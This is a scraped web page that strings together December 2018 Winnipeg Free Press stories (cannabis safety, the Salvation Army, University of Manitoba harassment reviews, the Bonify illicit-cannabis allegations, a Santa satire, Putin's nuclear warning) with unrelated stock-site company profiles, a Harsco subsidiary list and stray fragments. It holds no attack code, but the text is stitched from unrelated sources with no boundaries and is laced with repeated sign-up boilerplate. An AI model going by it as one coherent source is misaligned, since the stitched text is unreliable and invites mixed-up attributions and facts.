sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. With the legalization of recreational cannabis, there could be an increase in edible cannabis products at holiday functions, so Health Canada cautioned people to know the cannabis content of any edibles they may choose to consume. Reimer said the holiday season is also a good time for a reminder about safe storage of cannabis and alcohol. "Just like alcohol and any other drug, it's really important to keep your cannabis in a place where kids and pets can't get at it. If your child gets access to your cannabis, they can get very sick and end up in the hospital," she said. "So it's really important to keep to keep in mind where your cannabis, alcohol, drugs, whether legal or illegal, are stored and make sure that kids don't have access to it. "If possible, (keep them) in a locked place. And pets as well, because they can also get really sick if they're consuming any of these things." People should also monitor how much alcohol or cannabis they're using and avoid sugary or sweet mixes for alcohol since it can make it easier to drink more when it doesn't taste as strong, Reimer said. The Health Canada safety alert also noted if you suspect someone may have overdosed on drugs or alcohol, it is important to call 911 immediately and stay with them. "If you don't have any antidotes and 911 response is a few minutes away, you have the potential to save that person if you can just respond with a few basic things and the person on the other end of the 911 call can help walk you through what you need to do," Reimer said, adding the Good Samaritan Drug Overdose Act provides protection from possession charges for anyone calling 911 because of an overdose. SALVATION Army commissioner Susan McMillan smiled as she stood next to the Christmas kettle and greeted shoppers at the Polo Park shopping centre Wednesday. Hey there, time traveller! This article was published 19/12/2018 (1078 days ago), so information in it may no longer be current. SALVATION Army commissioner Susan McMillan smiled as she stood next to the Christmas kettle and greeted shoppers at the Polo Park shopping centre Wednesday. McMillan, the charitys territorial commander and leader in Canada and Bermuda, toured various Salvation Army locations in Winnipeg on her first countrywide Christmas tour. McMillan had visited "Toy Mountain" at Weetamah Community Church before her shift as a bell ringer at the kettle in Polo Parks centre court. "Its wonderful to see families coming in. They have the dignity to go around and choose the toys they would like to give to their children they even have the opportunity to wrap them right there," McMillan said, offering thanks to Winnipeggers for their support. "We have wonderful donors, individuals, corporations and governments that help us and help others. We are so appreciative of everything they do. "We want people to have a positive experience of Christmas." Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Hope is the thread that runs through the organizations work. "Giving Hope Today" has been the Salvation Armys motto for the past few years, McMillan said as she pointed to the iconic red shield on top of the Christmas kettle next to her. "There is hope for everyone... Certainly having hope for a better future is something that drives human beings," said the Toronto-based McMillan, who also serves as chancellor of Winnipegs Booth University College. She said the money raised in the kettles in Winnipeg will stay in the city to support Salvation Army programs, which includes shelters, thrift stores, daycares and other social services. "Its kind of a unique opportunity for her to come through," said Maj. Rob Kerr, the Salvation Armys divisional secretary for public relations. "She has been thanking volunteers and thanking staff for hard work during Christmas." liane.carter@freepress.mb.ca The University of Manitoba says its updating its rules and training after a series of sexual harassment allegations and investigations against faculty. However, provincial privacy laws may stifle any move toward transparency. Hey there, time traveller! This article was published 19/12/2018 (1078 days ago), so information in it may no longer be current. The University of Manitoba says its updating its rules and training after a series of sexual harassment allegations and investigations against faculty. However, provincial privacy laws may stifle any move toward transparency. "The bottom-line reality is that privacy law in Manitoba, together with the rules of labour relations in Manitoba, pretty much preclude the university from saying anything about an investigation against an individual. They cant do it," said Karen Busby, director of the Winnipeg schools Centre for Human Rights Research. PHIL HOSSACK / WINNIPEG FREE PRESS FILES The University of Manitoba is updating its rules and training after a series of sexual harassment allegations and investigations against faculty. Busby is part of the universitys review, but was speaking from her own perspective. On Wednesday, U of M president David Barnard reiterated his apology for the schools "failures" in handling sexual harassment allegations. He wrote in his year-end message that he briefed the board of governors last week on internal and external reviews of U of M policies around sexual assault, respect and handling complaints. Barnard wrote that these will include "development of a guide on intimate relationships, and significant enhancement of our education and training on these topics for faculty and staff." But his message did not mention moves to increase transparency, despite privacy rules playing directly into one of the schools harassment allegations. Jazz professor Steve Kirby left the U of M after a sexual harassment investigation and was hired by the Berklee College of Music in Boston, which U of M never told about the probe because of provincial privacy legislation. Berklee fired Kirby after students contacted the U.S. school themselves. Kirby was arrested by Winnipeg police in May. He was charged in September with sexual assault on a U of M music student for alleged incidents that occurred between September 2014 and January 2017, police said. Busby said her universitys hands are still tied in trying to give students and complainants information about these sorts of situations. "Ive done academic articles on it because I hate it Ive really struggled with the questions around privacy law. And I have really wanted to say to the university: Youre hiding in the foxhole of privacy. But its clear, when you review the provisions in the privacy acts across the country, including in Manitoba, that universities cant disclose information about ongoing investigations, or the outcomes of those investigations," she said. "As crazy as that sounds, thats clear in the law, and its up to provincial governments to change that." A Manitoba government spokesman, who refused to be named, wrote that the province "is committed to the values of openness, accountability and transparency of government operations." Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. The spokesman said officials are undertaking the legislated provision of the existing privacy law "to ensure its accuracy and effectiveness in making public information available and protecting personal information." Bureaucrats are reviewing the recommendations they received, but have no deadline. In any case, the province has tasked all universities with revising harassment policies, and Busby said her colleagues are taking it as an opportunity to learn from policies developed elsewhere. "You cannot read into the fact that were reviewing our policies, that thats an admission of a problem," she said. Busby believes the spate of allegations that emerged this year are a sign of people feeling more comfortable coming forward, and faculty better understanding the rules. dylan.robertson@freepress.mb.ca Winnipeg-based licensed producer Bonify allegedly bought illegal marijuana, then sold it on the government-regulated recreational cannabis market, a source with knowledge of the situation has told the Free Press. This article was published 20/12/2018 (1078 days ago), so information in it may no longer be current. Winnipeg-based licensed producer Bonify allegedly bought illegal marijuana, then sold it on the government-regulated recreational cannabis market, a source with knowledge of the situation has told the Free Press. In mid-November, a whistleblower at Bonify told federal cannabis regulator Health Canada the company had purchased 200 kilograms of illegal marijuana from out of province, according to the source, who said the unlicensed product was stored at the company's North End facility. On Dec. 7, Bonify voluntarily recalled 52 packages of cannabis sold at three licensed stores in Saskatchewan. At the time, Health Canada said the marijuana was recalled because Bonify couldn't prove those specific lots had passed laboratory testing for contaminants. However, the source said the recalled cannabis was the same product Bonify allegedly got outside the licensed regime. The source said Health Canada seized cannabis from Bonify on Dec. 13. The Free Press broke the story at noon Thursday. Three hours later, Manitoba Premier Brian Pallister called the situation "a black day for the distribution of legal cannabis" during an impromptu news conference in the rotunda of the Manitoba Legislative Building. "It casts a pall on the other companies, who didn't do anything wrong, who are working through the system. We want to make sure we protect the integrity of that system, because our competition is the underground economy," said Pallister. "And if people aren't confident that our system works well to protect them... they'll go back to their old supplier and get it out of the alley." A whistleblower at Bonify told federal cannabis regulator Health Canada that the company had purchased 200 kilograms of illegal marijuana from out of province. (Trevor Hagan / Bloomberg files) The premier criticized what he described as a lack of communication from Health Canada, saying the Manitoba government only heard about problems at Bonify on Tuesday, a week-and-a-half after the recall began. Pallister said Manitoba was notified by Bonify itself, not by Health Canada. "When (Health Canada finds) out that a non-regulated, non-approved product has entered into the stream, I would think it would be pretty logical to expect they should notify us, right away," he said. Pallister said his government notified the Winnipeg Police Service about the situation, who advised it to contact the RCMP. A Manitoba RCMP spokeswoman wouldn't confirm nor deny whether the force is investigating Bonify, citing privacy and operational concerns. The premier said the provincial government is concerned the allegedly illegal cannabis "may have been" sold by licensed stores in Manitoba. Although it's not clear whether the product is unsafe for human consumption, he said, "we're acting as if it is, and I think that's the only appropriate course of action to take here." Manitoba sales and distribution of Bonify cannabis have been suspended, according to a joint statement issued Thursday by Manitoba Liquor & Lotteries and the province's retail cannabis regulator, the Liquor, Gaming and Cannabis Authority of Manitoba. LGCA is seizing Bonify products from licensed cannabis stores across the province, and is advising consumers to return any Bonify products for a refund. Bonify products "have been delisted and removed" from MLL's catalogue of wholesale products. Health Canada confirmed in a statement its inspectors "recently visited the Bonify site," and said its ongoing investigation has not yet determined whether or not federal law was violated. The federal health department said its regulatory regime for cannabis production "contains multiple measures that are designed to protect the health and safety of Canadians and the integrity of the system," adding it takes complaints about licensed cannabis producers seriously. "The department remains fully committed to sharing information with partners, including provincial and territorial officials and law enforcement, as appropriate," said the statement. Bonify's board of directors said in a statement a review by Health Canada and a third-party consultant "has revealed irregularities pertaining to the recalled product." "An investigation into these irregularities is ongoing and Bonify's board will be able to provide further comment at the appropriate time after the investigation reaches its conclusion," said the statement. Under the new federal Cannabis Act, "illicit cannabis" is defined as any marijuana "sold, produced or distributed" by someone without government authorization to do so. If Bonify did indeed pass off illicit cannabis as a legal, government-regulated product, the consequences could be severe. Distribution of illicit cannabis can be an indictable offence carrying a maximum penalty of 14 years in prison. For an organization, knowingly distributing illicit cannabis could also mean the imposition of hefty fines. If the allegations against Bonify are true, the company also stands to lose its valuable government permits to grow and sell marijuana, said an attorney who specializes in corporate cannabis law. Bonify uses a warehouse in Winnipeg for its grow operation. (Mike Deal / Winnipeg Free Press) "If it turns out it's true that a licensed producer knowingly bought illegal cannabis from the black market, and then sold it into the legal market knowingly, I don't see how the government can do anything less than take their licence away," said Matt Maurer, vice-chairman of the cannabis law group at Toronto firm Torkin Manes LLP. In its statement, Health Canada said it "will not hesitate to use the enforcement tools available under the Cannabis Act when it encounters instances of non-compliance." It's surprising such an alleged infraction could happen at such a high level in Canada's federally-regulated cannabis supply chain, said the owner of a licensed cannabis store in Saskatchewan that sold one package of the Bonify product before it was recalled. Ready, Pet, Go! Leesa Dahl looks at everything to do with our furry, fuzzy, feathered, fishy (and more!) pet friends. Arrives in your inbox each Monday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Everyone involved in the new market for recreational marijuana is "well-aware that we have to be very careful where we source our product for sale," said Geoff Conn, owner and general manager of the Pot Shack in Saskatoon. "The government made it perfectly clear, as we were receiving our licence, that we have to maintain integrity for our supply across the board," he said. Conn said his store posted the recall notice for the Bonify cannabis it sold, but the customer who bought the recalled product hasn't returned. "They probably just consumed it and went on their merry way, you know?" solomon.israel@theleafnews.com Twitter: @sol_israel The old man with the red suit and white beard trudged dejectedly into the psychiatrists office. The psychiatrist motioned for him to lie down on the couch. Hey there, time traveller! This article was published 20/12/2018 (1078 days ago), so information in it may no longer be current. Opinion The old man with the red suit and white beard trudged dejectedly into the psychiatrists office. The psychiatrist motioned for him to lie down on the couch. "What did you say your name was?" "Claus. Santa Claus." The psychiatrist did a double take. It was indeed jolly old St. Nick himself lying before him. "Well, Santa can I call you Santa? This is quite a privilege. What can I do for you?" "Doc. I need help. Im quite depressed." "Do you want to tell me more?" As he began his sad tale, Santa sobbed, struggling to get his words out. "Its... its... Amazon." The word caught in his throat. "I hate it, and I hate Jeff Bezos." The psychiatrist was puzzled. "Santa, please go on." "It started a couple of years back, but it got really bad this year. First, I noticed fewer letters coming in asking for things. Suddenly, I found myself cutting back on inventory, you know, fewer things to deliver at Christmas." The psychiatrist nodded. "This year, first time ever, I started laying off elves. Let me tell you something, Doc. Elves dont like getting laid off. You know what they do when you give them a pink slip?" "No, what?" "They kick you in the shins, good and hard." Santa pulled up his trouser legs to reveal hideous bruises all over. He continued. "Anyway, I hauled out on my sleigh for deliveries on Christmas Eve. It was much lighter last year because I have fewer presents. And fewer houses to visit. That means fewer reindeer, but I still have to care for them all. Anyway, I had some spare time to investigate. I started going down chimneys and looking at where the stockings were hung with care. You know what I found all over just about every living room?" "No, what?" "Amazon boxes. Everywhere I looked, Amazon boxes!" Santa was sobbing uncontrollably. "It was all I could do to keep from tripping over those Amazon boxes to get to the milk and cookies." The psychiatrist gave an understanding look and offered him a Kleenex. "And you know what, Doc? Theyre not even leaving me milk and cookies, anymore. I lost 10 pounds last Christmas. Ive had to tighten my belt three notches to keep my pants from falling down." Santa continued, "It gets worse. Coming home, Rudolph and the other reindeer got buzzed." "You mean they had too much eggnog?" "No, they actually got buzzed. By a drone. Drones! You know what drones could do? They could put me completely out of business. Santa and his sleigh would go the way of the covered wagon." Santa took the tissue and spoke softly. "Doc, Ive already started taking department store temp work. Macys. Those kids dont realize theyre talking to the real Santa. They think Im too thin to be the real Santa. "And Mrs. Santa is not happy, either. Now every spring when Im starting to gear up production, she is on my case." "Why?" "Its a funny thing. The snow is melting at the North Pole. I dont know why. It used to be Shovel the snow, shovel the snow. Now its Mow the lawn, mow the lawn. Can you imagine? Mowing the lawn at the North Pole? This year I went into the warehouse. I had hundreds of snow shovels I have plenty left over if you need one, Doc. But I gave my last lawnmower to a groundskeeper in Chicago. What am I going to do?" The doctor looked at his watch; Santas 45 minutes were up, a good time to end the session. He scanned his schedule book for Santas return visit. "Santa, when would you like to come back?" "Well, I have to be at this medical building next week to see the foot and ankle specialist." "Why?" "Im laying off another hundred elves." As Santa got up to leave, the psychiatrist, honoured to be Santas doctor, said, "No charge, Santa. But could I ask you for something?" "Sure, after all thats my business. What would you like?" "Your autograph for my daughter." More than willing to oblige, Santa took a Christmas card from his pocket. "Now, whom should I make this out to?" The psychiatrist said, "My daughters name is Virginia. Ive always wanted to say to her, Yes, Virginia, there is a Santa Claus." Santa smiled, signed the card and handed it to him. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. "Doc, its nice to know some people still care. Is there anything I can bring Virginia for Christmas this year?" The psychiatrist, forgetting himself again for a moment, said, "Oh no, but thank you anyway, Santa. She already has Amazon Prime. Free, super-fast delivery." The doctor tried to take the words back, but it was too late. Santa tore the card out of his hand, shot him a dirty look, stormed out, slammed the door behind him and said: "And no! If I have any say in it, theres not going to be any Amazon headquarters at the North Pole!" Cory Franklin is a Wilmette, Ill., physician and author of the book The Doctor Will See You Now. He wrote this for the Chicago Tribune. MOSCOW - Russian President Vladimir Putin issued a chilling warning Thursday about the rising threat of a nuclear war, putting the blame squarely on the U.S., which he accused of irresponsibly pulling out of arms control treaties. Hey there, time traveller! This article was published 20/12/2018 (1078 days ago), so information in it may no longer be current. MOSCOW - Russian President Vladimir Putin issued a chilling warning Thursday about the rising threat of a nuclear war, putting the blame squarely on the U.S., which he accused of irresponsibly pulling out of arms control treaties. Speaking at his annual news conference, Putin warned that "it could lead to the destruction of civilization as a whole and maybe even our planet." Russian President Vladimir Putin speaks during his annual news conference in Moscow, Russia, Thursday, Dec. 20, 2018. (AP Photo/Alexander Zemlianichenko) He pointed at Washington's intention to walk away from the 1987 Intermediate-Range Nuclear Forces Treaty, or INF, and its reluctance to negotiate the extension of the 2010 New START agreement, which expires in 2021 unless the two countries agree to extend it. "We are witnessing the breakup of the arms control system," he said. Moscow and Washington have been at loggerheads over the INF, which bans an entire class of weapons all nuclear and conventional ground-launched ballistic and cruise missiles of intermediate range. U.S. officials say Washington's withdrawal from the pact was prompted by Russian violations of the treaty, which Moscow vehemently denies. Earlier this month NATO, at U.S. request formally declared Russia to be in violation of the INF and demanded that it halt activity that breaches it. The move put the full weight of the alliance behind the U.S., which has given Russia until February to come into compliance or trigger Washington's withdrawal from the treaty." Officials in both Russia and the U.S. have given mixed signals about the future of the New START treaty, signed by President Barack Obama and then-Russian President Dmitry Medvedev amid a brief thaw in Russia-U.S. ties. U.S.-Russian strategic nuclear weapons those capable of striking each other's territory are governed by New Start. During the nearly four-hour news conference, Putin maintained Russia was not interested in "gaining unilateral advantages. We aren't seeking advantages, we are trying to preserve the balance and ensure our security." Russian President Vladimir Putin speaks during his annual news conference in Moscow, Russia, Thursday, Dec. 20, 2018. (AP Photo/Alexander Zemlianichenko) Russia-U.S. ties have sunk to their lowest levels since the Cold war times over the Ukrainian crisis, the war in Syria and the allegations of Russian meddling in the 2016 U.S. presidential election, among other disputes. The U.S. and European nations have repeatedly called out Russia and imposed sanctions on it for its support of separatists in eastern Ukraine and its annexation of Crimea in 2014. At the same time the West has harshly criticized Russia for its military and political support for Syrian President Bashar Assad, which U.S. officials say has prolonged the war in Syria and the suffering of its people. The Russian leader scoffed at the allegations, rejecting them as part of a smear campaign driven by domestic policy in the U.S. and elsewhere in the West. He dismissed claims that Russia is interfering abroad, from a nerve agent poisoning in Britain to an alleged effort to infiltrate the U.S. National Rifle Association, charging that those accusations are part of U.S.-led efforts to malign Russia to strengthen the Western allies' unity. Russian President Vladimir Putin gestures during his annual news conference in Moscow, Russia, Thursday, Dec. 20, 2018. Putin issued a chilling warning Thursday about the rising threat of a nuclear war, saying "it could lead to the destruction of civilization as a whole and maybe even our planet" Ai and putting the blame squarely on the U.S. (AP Photo/Alexander Zemlianichenko) "They need an external threat to cement NATO unity," Putin said, accusing the U.S. and its allies of exploiting "phobias of the past" to achieve domestic political goals. "As for ruling the world, we know where the headquarters trying to do that are located, and the place isn't Moscow," he said, noting that the Pentagon's annual budget of over $700 billion dwarfs Russia's defence spending of $46 billion. Russia's hopes for repairing ties with the U.S. under President Donald Trump have fizzled amid the allegations of Russian meddling in the 2016 election charges Putin has denied. He noted that he's still keeping the door open for a meeting with Trump, but added that the prospect for that looks increasingly dim in view of the Democrats winning control of the House. Russian President Vladimir speaks during his annual news conference in Moscow, Russia, Thursday, Dec. 20, 2018. Speaking at news conference Thursday, Putin pointed at the U.S. intention to withdraw from the 1987 Intermediate-Range Nuclear Forces (INF) Treaty, saying if the U.S. puts intermediate-range missiles in Europe, Russia will be forced to take countermeasures. (AP Photo/Alexander Zemlianichenko) "You can predict new attacks on the president with 100-per cent probability," Putin said. "I don't know if he could engage in a direct dialogue with Russia in such conditions." He charged that that the continuing U.S. political infighting reflects a "lack of respect for the voters" who elected Trump. "They don't want to acknowledge his victory and do everything to delegitimize the president," Putin added. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. He insisted that a Russian woman in U.S. custody has not carried out any mission for the Russian government, even though she pleaded guilty this month to acting as a covert agent of the government. Putin claimed that Maria Butina accused of trying to infiltrate the NRA and American conservative circles around the time of Trump's election entered the guilty plea because of the threat of a long prison sentence in the case, which Putin described as fabricated. Amid a litany of complaints over Washington's policies, Putin had one positive thing to say about the United States: He welcomed Trump's decision to withdraw the U.S. military from Syria. The U.S. "has done the right thing," Putin said, reaffirming the long-held Russian argument that the U.S. presence in Syria is illegitimate because it wasn't vetted by the U.N. Security Council or approved by Syrian President Bashar Assad's government. The pullout is also likely to strengthen Russia's role in Syria's future. He showed no sign of backing down from Russia's stance on Ukraine, accusing his Ukrainian counterpart of provoking a naval standoff with Russia to boost his electoral prospects. The Russian coast guard fired upon and seized three Ukrainian naval vessels and 24 seamen when they tried to sail from the Black Sea into the Sea of Azov in what the U.S. and its NATO allies condemned as unjustified use of force by Russia. Turning to nuclear weapons, Putin warned that if the U.S. puts intermediate-range missiles in Europe after its planned exit from the INF Treaty banning them, Russia will be forced to take countermeasures. As for what he described as U.S. reluctance to extend the New START nuclear arms reduction treaty, he said: "You aren't interested? You don't need it? OK, we will survive. ... But it will be very bad for the whole of humankind, because it would take us to a very dangerous area." He's the second LBPD chief to run for sheriff in the last decade. Anixter International Inc., through its subsidiary, Anixter Inc., distributes enterprise cabling and security solutions, electrical and electronic wire and cable solutions, and utility power solutions worldwide. The company operates through Network & Security Solutions (NSS), Electrical & Electronic Solutions (EES), and Utility Power Solutions (UPS) segments. The NSS segment offers copper and fiber optic cable and connectivity, access control, video surveillance, intrusion and fire/life safety, cabinet, power, cable management, wireless, professional audio/video, voice and networking switches, and other ancillary products for the technology, finance, transportation, education, government, healthcare, and retail industries, as well as telecommunications service providers. The EES Solutions segment provides electrical and electronic wires and cables, shipboard cables, support and supply products, low-voltage and instrumentation cables, industrial communication and control products, security cables, connectors, industrial Ethernet switches, and voice and data cables to the commercial and industrial, and original equipment manufacturer markets. The UPS segment supplies electrical transmission and distribution products, power plant maintenance, repair and operations supplies, and smart-grid products, as well as arranges materials management and procurement outsourcing for the power generation and transmission, and electricity distribution industries. The company serves contractors, installers, system integrators, value-added resellers, architects, engineers, and wholesale distributors in various industries, including manufacturing, resource extraction, telecommunications, Internet service providers, finance, education, healthcare, retail, transportation, utilities, and defense, as well as government customers. The company was formerly known as Itel Corporation. Anixter International Inc. was founded in 1957 and is headquartered in Glenview, Illinois. Read More There is not enough analysis data for BlackRock Enhanced Global Dividend Trust. 4.1 Community Rank Outperform Votes BlackRock Enhanced Global Dividend Trust has received 262 outperform votes. (Add your outperform vote.) Underperform Votes BlackRock Enhanced Global Dividend Trust has received 155 underperform votes. (Add your underperform vote.) Community Sentiment BlackRock Enhanced Global Dividend Trust has received 62.83% outperform votes from our community. MarketBeat's community ratings are surveys of what our community members think about BlackRock Enhanced Global Dividend Trust and other stocks. Vote Outperform if you believe BOE will outperform the S&P 500 over the long term. Vote Underperform if you believe BOE will underperform the S&P 500 over the long term. You may vote once every thirty days. Previous Next AFC Energy plc engages in the development of alkaline fuel cell systems for the generation of clean energy in the United Kingdom and Germany. The company offers HydroX-Cell(L), an alkaline fuel cell module; HydroX-Cell(S); and AlkaMem, an anion exchange membrane technology for alkaline water electrolysis, alkaline fuel cells, fuel synthesis, electrodialysis, desalination, acid remediation, salt water batteries, and REDOX flow batteries applications. It also provides auxiliary equipment, such as ammonia crackers, water electrolyzes, inverters, battery and fuel storage products, and battery management systems. The company was incorporated in 2006 and is headquartered in Cranleigh, the United Kingdom. Read More There is not enough analysis data for BlackRock Municipal Income Trust II. 4.9 Community Rank Outperform Votes BlackRock Municipal Income Trust II has received 92 outperform votes. (Add your outperform vote.) Underperform Votes BlackRock Municipal Income Trust II has received 34 underperform votes. (Add your underperform vote.) Community Sentiment BlackRock Municipal Income Trust II has received 73.02% outperform votes from our community. MarketBeat's community ratings are surveys of what our community members think about BlackRock Municipal Income Trust II and other stocks. Vote Outperform if you believe BLE will outperform the S&P 500 over the long term. Vote Underperform if you believe BLE will underperform the S&P 500 over the long term. You may vote once every thirty days. Previous Next The following companies are subsidiares of Harsco: 21st Century Environmental Management of NV LLC, 21st Century Environmental Management of RI LLC, AERC Acquisition Corporation, AES Asset Acquisition Corporation, Accelerated Remediation Kinetics LLC, Advanced Remediation & Disposal Technologies of Delaware LLC, Allied Environmental Group LLC, Allworth LLC, Altek, Altek Europe Holdings Ltd., Altek Europe Limited, Altek LLC, Altek Melting Solutions Limited, AluServ Middle East W.L.L., Alusalt Limited, Assessment & Remedial Design Technologies Inc, Ballagio S.a.r.l., Burlington Environmental LLC, CEHI Acquisition LLC, CEI Holding LLC, Calrissian Holdings LLC, Carteret Asphalt Corporation, Chemical Pollution Control of Florida LLC, Chemical Pollution Control of New York LLC, Chemical Reclamation Services LLC, Clean Earth Dredging Technologies LLC, Clean Earth Environmental Services Inc., Clean Earth Environmental Services Inc., Clean Earth Environmental Solutions Inc., Clean Earth Holdings LLC, Clean Earth Inc., Clean Earth LLC, Clean Earth Mobile Services LLC, Clean Earth Specialty Waste Solutions Inc., Clean Earth of Carteret LLC, Clean Earth of Georgia LLC, Clean Earth of Greater Washington LLC, Clean Earth of Maryland LLC, Clean Earth of Michigan LLC, Clean Earth of New Castle LLC, Clean Earth of North Jersey Inc., Clean Earth of Philadelphia LLC, Clean Earth of Puerto Rico LLC, Clean Earth of Southeast Pennsylvania LLC, Clean Earth of Southern Florida LLC, Clean Earth of West Virginia LLC, Clean Earth of Williamsport LLC, Clean Rock Properties Ltd, Czech Slag- Nova Hut s.r.o., ESOL TOPCO LLC, Environmental Soil Management Inc, Environmental Soil Management of New York LLC, Environmental Solutions (ESOL) Business, Excell Africa Holdings Ltd., Excell Americas Holdings Ltd S.a.r.L., Faber Prest Limited, Gardner Road Oil LLC, GasServ (Netherlands) VII B.V., General Environmental Management of Rancho Cordova LLC, HLWKH 517 Limited, Harsco (Australia) Pty. Limited, Harsco (Beijing) Fertiliser Co. Ltd, Harsco (Gibraltar) Holding Limited, Harsco (Mexico) Holdings B.V., Harsco (Peru) Holdings B.V., Harsco (Tangshan) Metallurgical Materials Technology Co. Ltd, Harsco (Tangshan) Metallurgical Materials Technology Co. Ltd. - GuYe Branch, Harsco (Tangshan) Metallurgical Materials Technology Co. Ltd. - Leting Branch, Harsco (Tangshan) Renewable Resources Development Co. Ltd, Harsco (U.K.) Limited, Harsco (UK) Group Ltd, Harsco (York Place) Limited, Harsco APAC Rail Machinery (Beijing) Co. Ltd., Harsco Americas Investments S.a.r.l., Harsco Belgium SRL, Harsco Brazil Investments SRL, Harsco Canada Corporation Societe Harsco Canada, Harsco Canada General Partner Limited, Harsco Canada Limited Partnership, Harsco Chile Investments SRL, Harsco China Holding Company Limited, Harsco Defense Holding LLC, Harsco Environmental S.R.L., Harsco Europa B.V., Harsco Fairways Partnership, Harsco Finance B.V., Harsco Financial Holdings Inc., Harsco France S.A.S., Harsco Holdings Inc., Harsco India Metals Private Limited, Harsco India Private Ltd., Harsco India Services Private Ltd., Harsco Industrial Grating China Holding Co. Ltd., Harsco Infrastructure B.V., Harsco Infrastructure CZ s.r.o, Harsco Infrastructure Construction Services B.V., Harsco Infrastructure Group Ltd., Harsco Infrastructure Holdings Inc., Harsco Infrastructure Hong Kong Ltd, Harsco Infrastructure Industrial Services B.V., Harsco Infrastructure Services Ltd., Harsco Infrastructure South Africa (Pty.) Ltd., Harsco International Finance S.a.r.l., Harsco Investment Ltd., Harsco Investments Europe B.V., Harsco Leatherhead Limited, Harsco Luxembourg S.a.r.l, Harsco Metals (Ningbo) Pty. Ltd., Harsco Metals (Thailand) Company Ltd., Harsco Metals 373 Ltd, Harsco Metals 385 Ltd, Harsco Metals Argentina S.A., Harsco Metals Australia Holding Investment Co. Pty. Ltd., Harsco Metals Australia Pty. Ltd., Harsco Metals Belgium S.A., Harsco Metals CTS Prestacao de Servicos Tecnicos e Aluguer de Equipamentos LDA Unipessoal, Harsco Metals CZ s.r.o, Harsco Metals Chile S.A., Harsco Metals D.O.O. Smederevo, Harsco Metals Egypt L.L.C., Harsco Metals Emirates Partnership, Harsco Metals Germany GmbH, Harsco Metals Gesmafesa S.A., Harsco Metals Group Limited, Harsco Metals Guatemala S.A., Harsco Metals Holding LLC, Harsco Metals Holdings Limited, Harsco Metals Holland B.V., Harsco Metals Ilanga Pty. Ltd., Harsco Metals Intermetal LLC, Harsco Metals Investment LLC, Harsco Metals Limitada, Harsco Metals Luxembourg S.A., Harsco Metals Luxequip S.A., Harsco Metals Lycrete S.A., Harsco Metals Middle East FZE, Harsco Metals Norway A.S., Harsco Metals Oostelijk Staal International B.V., Harsco Metals Operations LLC, Harsco Metals Peru S.A., Harsco Metals Polska SP Z.O.O., Harsco Metals RSA Africa (Pty.) Ltd., Harsco Metals Reclamet S.A., Harsco Metals SRH Mill Services (Pty.) Ltd., Harsco Metals SRI LLC, Harsco Metals Saudi Arabia Ltd., Harsco Metals Slovensko s.r.o., Harsco Metals South Africa (Pty.) Ltd., Harsco Metals SteelServ (Pty.) Ltd., Harsco Metals Sweden A.B., Harsco Metals Transport B.V., Harsco Metals Turkey Celik Limited Sirkety, Harsco Metals VB LLC, Harsco Metals Zhejiang Co. Ltd., Harsco Metals and Minerals France S.A.S., Harsco Metals de Mexico S.A. de C.V., Harsco Metro Rail LLC, Harsco Mexico Holdings S.A. de C.V., Harsco Minerais Limitada, Harsco Minerali d.o.o., Harsco Minerals Arabia LLC (FZC), Harsco Minerals Deutschland GmbH, Harsco Minerals Europe B.V., Harsco Minerals Technologies LLC, Harsco Minnesota Finance Inc., Harsco Minnesota LLC, Harsco Mole Valley Limited, Harsco Nederland Slag B.V., Harsco Nova Scotia Holding Corporation, Harsco Rail Emirates Maatschap/Societe de Droit Commun, Harsco Rail Europe GmbH, Harsco Rail LLC, Harsco Rail Limited, Harsco Rail Ltda, Harsco Rail Malaysia Sdn Bhd, Harsco Rail Pty. Ltd., Harsco Rail Switzerland GMBH, Harsco Steel Mill Trading Arabia LLC, Harsco Sun Demiryolu Ekipmanlari Uretim Ve Ticaret Limited Sirketi, Harsco Switzerland Holding GmbH, Harsco Technologies LLC, Harsco Technology China Co. Ltd., Harsco Track Machines and Services Private Limited, Heckett Bahna Co. For Industrial Operations S.A.E., Heckett Comercio de Rejeitos Industriais Importacao e Exportacao Ltda, Heckett MultiServ (FS) Pty Ltd, Heckett MultiServ Bahna S.A.E., Heckett MultiServ China B.V., Heckett MultiServ Far East B.V., Heckett Multiserv MV & MS CA, Hunnebeck Group GmbH, Iductelec Limited, Ilserv S.R.L., Luntz Acquisition (Delaware) LLC, MKC Acquisition Corporation, Mastclimbers Ltd, Metal Reclamation SPV (Pty.) Ltd., Minerval Metallurgic Additives B.V., MultiServ (Sweden) AB, MultiServ Finance B.V., MultiServ International B.V., MultiServ Limited, MultiServ Logistics Limited, MultiServ Oy, MultiServ Technologies (South Africa) Pty Ltd, Nortal Limited, Northland Environmental LLC, Nortru LLC, PSC Environmental Services LLC, PSC Recovery Systems LLC, Phillip Reclamation Services Houston LLC, Protran Technology LLC, Real Property Acquisition LLC, Republic Environmental Recycling (New Jersey) LLC, Republic Environmental Systems (PA) LLC, Republic Environmental Systems (Transportation Group) LLC, Rho-Chem LLC, SGB Holdings Limited, SGB Investments Ltd., SGB Scafform Limited, Shanxi TISCO-Harsco Technology Co. Ltd., Short Brothers (Plant) Ltd., Slag Processing Company Egypt (SLAR) S.A.E., Slag Reductie (Pacific) B.V., Slag Reductie Nederland B.V., Solvent Recovery LLC, Tosyali Harsco Geri Kazanim Teknolojileri Anonim Sirketi, and United Retek of Connecticut LLC. Goldman Sachs Group, Inc. engages in global investment banking, securities, and investment management, which provides financial services. It operates through the following business segments: Investment Banking, Global Markets, Asset Management, and Consumer & Wealth Management. The Investment Banking segment serves public and private sector clients around the world and provides financial advisory services, help companies raise capital to strengthen and grow their businesses and provide financing to corporate clients. The Global Markets segment serves its clients who buy and sell financial products, funding and manage risk. The Asset Management segment provides investment services to help clients preserve and grow their financial assets. The Consumer & Wealth Management segment helps clients to achieve their individual financial goals by providing a wealth advisory and banking services. The company was founded by Marcus Goldman in 1869 and is headquartered in New York, NY. Read More No heating : Renters 